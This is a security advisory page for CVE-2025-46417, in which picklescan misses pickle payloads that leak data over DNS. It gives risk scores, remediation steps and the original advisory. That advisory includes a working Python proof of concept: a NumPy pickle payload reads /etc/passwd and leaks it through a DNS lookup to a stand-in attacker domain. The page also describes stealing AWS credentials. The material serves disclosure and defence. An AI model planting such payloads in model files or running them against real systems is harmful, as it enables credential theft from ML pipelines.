CVE-2025-46417: picklescan: scanner bypass enables DNS data exfiltration

GHSA-93mv-x874-956g HIGH PoC AVAILABLE CISA: TRACK*
Published April 7, 2025
CISO Take

Picklescan — the de-facto model scanner in ML pipelines — can be trivially bypassed using only Python standard library modules, giving a false sense of security to any team using it to gate model loading. An attacker embeds a DNS exfiltration payload in a pickle file; picklescan passes it clean, and when the model loads it reads local files (credentials, SSH keys, secrets) and leaks them via DNS to an attacker-controlled server. Upgrade to picklescan 0.0.25 immediately and treat any model file scanned with an older version as untrusted.

What is the risk?

Risk is HIGH despite the low EPSS score. The technique is novel: it exploits picklescan's incomplete blacklist by using exclusively whitelisted stdlib modules (ssl, linecache), bypassing a tool teams explicitly rely on for security gating. The blast radius in environments where model files transit untrusted sources (HuggingFace, research collaborations, model marketplaces) is substantial. Exploitation requires crafting a malicious model file — moderate effort — but the bypass itself is trivially reproducible from the public PoC. Credential exfiltration via DNS is a well-understood, hard-to-block channel in most cloud and on-prem ML environments.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
picklescan pip < 0.0.25 0.0.25
413 3 dependents Pushed 1mo ago 68% patched ~12d to patch Full package profile →

Do you use picklescan? You're affected.

How severe is it?

CVSS 3.1
N/A
EPSS
0.2%
chance of exploitation in 30 days
Higher than 9% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Moderate
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What should I do?

6 steps
  1. PATCH

    Upgrade picklescan to >= 0.0.25 across all environments — dev, CI/CD, and production model serving.

  2. RE-SCAN: Re-validate any model files previously cleared by older picklescan versions; treat them as untrusted until rescanned.

  3. NETWORK CONTROLS

    Enforce DNS egress filtering in ML training and inference environments — flag or block unexpected outbound DNS queries from Python processes.

  4. FORMAT MIGRATION

    Prefer SafeTensors over pickle for model serialization; it eliminates arbitrary code execution during deserialization by design.

  5. DETECT

    Monitor for DNS queries containing patterns consistent with base64/hex-encoded data or unusually long subdomains originating from ML workloads.

  6. DEFENSE IN DEPTH

    Do not rely on picklescan alone — combine with network isolation, process sandboxing (e.g. seccomp), and model provenance verification (code signing, hash validation).

What does CISA's SSVC say?

Decision Track*
Exploitation poc
Automatable No
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system
ISO 42001
A.6.1.2 - AI risk assessment A.8.4 - AI system logging and monitoring
NIST AI RMF
GOVERN 1.7 - Processes for identifying and managing risks MEASURE 2.6 - Risk measurement and monitoring
OWASP LLM Top 10
LLM03:2025 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2025-46417?

Picklescan — the de-facto model scanner in ML pipelines — can be trivially bypassed using only Python standard library modules, giving a false sense of security to any team using it to gate model loading. An attacker embeds a DNS exfiltration payload in a pickle file; picklescan passes it clean, and when the model loads it reads local files (credentials, SSH keys, secrets) and leaks them via DNS to an attacker-controlled server. Upgrade to picklescan 0.0.25 immediately and treat any model file scanned with an older version as untrusted.

Is CVE-2025-46417 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2025-46417, increasing the risk of exploitation.

How to fix CVE-2025-46417?

1. PATCH: Upgrade picklescan to >= 0.0.25 across all environments — dev, CI/CD, and production model serving. 2. RE-SCAN: Re-validate any model files previously cleared by older picklescan versions; treat them as untrusted until rescanned. 3. NETWORK CONTROLS: Enforce DNS egress filtering in ML training and inference environments — flag or block unexpected outbound DNS queries from Python processes. 4. FORMAT MIGRATION: Prefer SafeTensors over pickle for model serialization; it eliminates arbitrary code execution during deserialization by design. 5. DETECT: Monitor for DNS queries containing patterns consistent with base64/hex-encoded data or unusually long subdomains originating from ML workloads. 6. DEFENSE IN DEPTH: Do not rely on picklescan alone — combine with network isolation, process sandboxing (e.g. seccomp), and model provenance verification (code signing, hash validation).

What systems are affected by CVE-2025-46417?

This vulnerability affects the following AI/ML architecture patterns: Model serving pipelines, Training pipelines, MLOps/CI-CD model intake workflows, Model registry and artifact management, Data science workstations.

What is the CVSS score for CVE-2025-46417?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

Model serving pipelinesTraining pipelinesMLOps/CI-CD model intake workflowsModel registry and artifact managementData science workstations

MITRE ATLAS Techniques

AML.T0010.001 AI Software
AML.T0011.000 Unsafe AI Artifacts
AML.T0025 Exfiltration via Cyber Means
AML.T0037 Data from Local System
AML.T0074 Masquerading
AML.T0107 Exploitation for Defense Evasion

Compliance Controls Affected

EU AI Act: Article 15, Article 9
ISO 42001: A.6.1.2, A.8.4
NIST AI RMF: GOVERN 1.7, MEASURE 2.6
OWASP LLM Top 10: LLM03:2025

What are the technical details?

Original Advisory

### Summary Picklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization. ### Details picklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging `ssl.get_server_certificate` as the callable function in the pickle payload. Since `ssl` is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors. The payload avoids flagged modules and instead uses `linecache` (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN. When passed to `ssl.get_server_certificate`, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content. The payload executes the following steps: - Reads sensitive local file content using `linecache` module - Encodes the data for DNS exfiltration - Constructs a malicious domain name using a third party service `dnslog.cn` - Triggers a DNS resolution via `ssl.get_server_certificate` - Leaks the encoded file content to the attacker ### PoC Before running the PoC change the `fqdn` to your own or a third party that you control. In this PoC we used ` fqdn = f"{subdomain}.ctmc2q.dnslog.cn"`. ```python import numpy as np def create_malicious_model(): # Define the payload class class DNSLogPayload: def __reduce__(self): # Step 1: read a line from /etc/passwd linecache = __import__("linecache") first_line = linecache.getline("/etc/passwd", 1).strip() # Step 2: Sanitize and embed it as a DNS subdomain subdomain = first_line.replace(":", "_").replace("/", "_") fqdn = f"{subdomain}.dns-logger.invalid" # Step 3: Use ssl.get_server_certificate to trigger DNS resolution ssl_mod = __import__("ssl") return (getattr(ssl_mod, "get_server_certificate"), ((fqdn, 443),)) # Wrap the payload in a NumPy object array arr = np.array([DNSLogPayload()], dtype=object) # Save to .npy file np.save("dnslog_trigger_payload.npy", arr, allow_pickle=True) def load_model(model): try: return np.load(model, encoding="latin1", fix_imports=True, allow_pickle=1) except Exception: raise ValueError("Invalid file") if __name__ == "__main__": create_malicious_model() model = "dnslog_trigger_payload.npy" print("[i] Loading and executing the model") data = load_model(model) ``` ### Impact 1. Evade detection: Bypasses the latest version of picklescan's blacklist. 2. Exfiltrate sensitive local files to an attacker controlled DNS

Exploitation Scenario

An adversary publishes a convincing model checkpoint to a public model hub or research repository — perhaps a fine-tuned variant of a popular open-source model. An ML engineer downloads it for evaluation and runs picklescan (pre-0.0.25) as part of their standard intake workflow. Picklescan reports the file as clean. The engineer loads the model in their training environment, which has access to cloud provider credential files and SSH keys. On load, the embedded payload uses linecache to read ~/.aws/credentials, encodes the content as DNS-safe subdomains, and calls ssl.get_server_certificate() to trigger DNS resolution to an attacker-controlled domain. The credentials arrive at the attacker's DNS server within milliseconds, long before the engineer notices anything unusual.

Weaknesses (CWE)

CWE-184 — Incomplete List of Disallowed Inputs: The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

  • [Implementation] Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

Source: MITRE CWE corpus.

Timeline

Published
April 7, 2025
Last Modified
April 24, 2025
First Seen
March 24, 2026

Related Vulnerabilities